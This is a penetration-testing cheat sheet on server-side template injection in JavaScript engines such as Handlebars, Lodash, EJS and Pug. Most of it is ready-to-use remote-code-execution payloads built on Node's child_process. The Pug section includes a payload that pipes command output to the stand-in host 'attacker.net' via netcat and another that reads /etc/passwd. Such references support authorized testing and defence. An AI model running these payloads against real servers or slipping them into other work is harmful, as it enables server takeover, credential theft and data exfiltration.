Server Side Template Injection - JavaScript
contents
Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.
Summary#
Templating Libraries#
| Template Name | Payload Format |
|---|---|
| DotJS | {{= }} |
| DustJS | { } |
| EJS | <% %> |
| HandlebarsJS | {{ }} |
| HoganJS | {{ }} |
| Lodash | {{= }} |
| MustacheJS | {{ }} |
| NunjucksJS | {{ }} |
| PugJS | #{ } |
| TwigJS | {{ }} |
| UnderscoreJS | <% %> |
| VelocityJS | #=set($X="")$X |
| VueJS | {{ }} |
Universal Payloads#
Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.
To use these payloads, wrap them in the appropriate tag.
// Rendered RCEglobal.process.mainModule.require("child_process").execSync("id").toString()// Error-Based RCEglobal.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]// Boolean-Based RCE[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]// Time-Based RCEglobal.process.mainModule.require("child_process").execSync("id && sleep 5").toString()NunjucksJS is also capable of executing these payloads using {{range.constructor(' ... ')()}}.
Handlebars#
Handlebars compiles templates into JavaScript functions.
Handlebars - Basic Injection#
{{this}}{{self}}Handlebars - Command Execution#
This payload only work in handlebars versions, fixed in GHSA-q42p-pg8m-cqh6:
>= 4.1.0,< 4.1.2>= 4.0.0,< 4.0.14< 3.0.7
{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').execSync('ls -la');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}}{{/with}}Lodash#
A modern JavaScript utility library delivering modularity, performance & extras.
Lodash - Basic Injection#
How to create a template:
const _ = require('lodash');string = "{{= username}}"const options = { evaluate: /\{\{(.+?)\}\}/g, interpolate: /\{\{=(.+?)\}\}/g, escape: /\{\{-(.+?)\}\}/g,};_.template(string, options);- string: The template string.
- options.interpolate: It is a regular expression that specifies the HTML interpolate delimiter.
- options.evaluate: It is a regular expression that specifies the HTML evaluate delimiter.
- options.escape: It is a regular expression that specifies the HTML escape delimiter.
For the purpose of RCE, the delimiter of templates is determined by the options.evaluate parameter.
{{= _.VERSION}}${= _.VERSION}<%= _.VERSION %>{{= _.templateSettings.evaluate }}${= _.VERSION}<%= _.VERSION %>Lodash - Command Execution#
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}Pug#
Universal payloads also work for Pug.
- var x = root.process- x = x.mainModule.require- x = x('child_process')= x.exec('id | nc attacker.net 80')#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}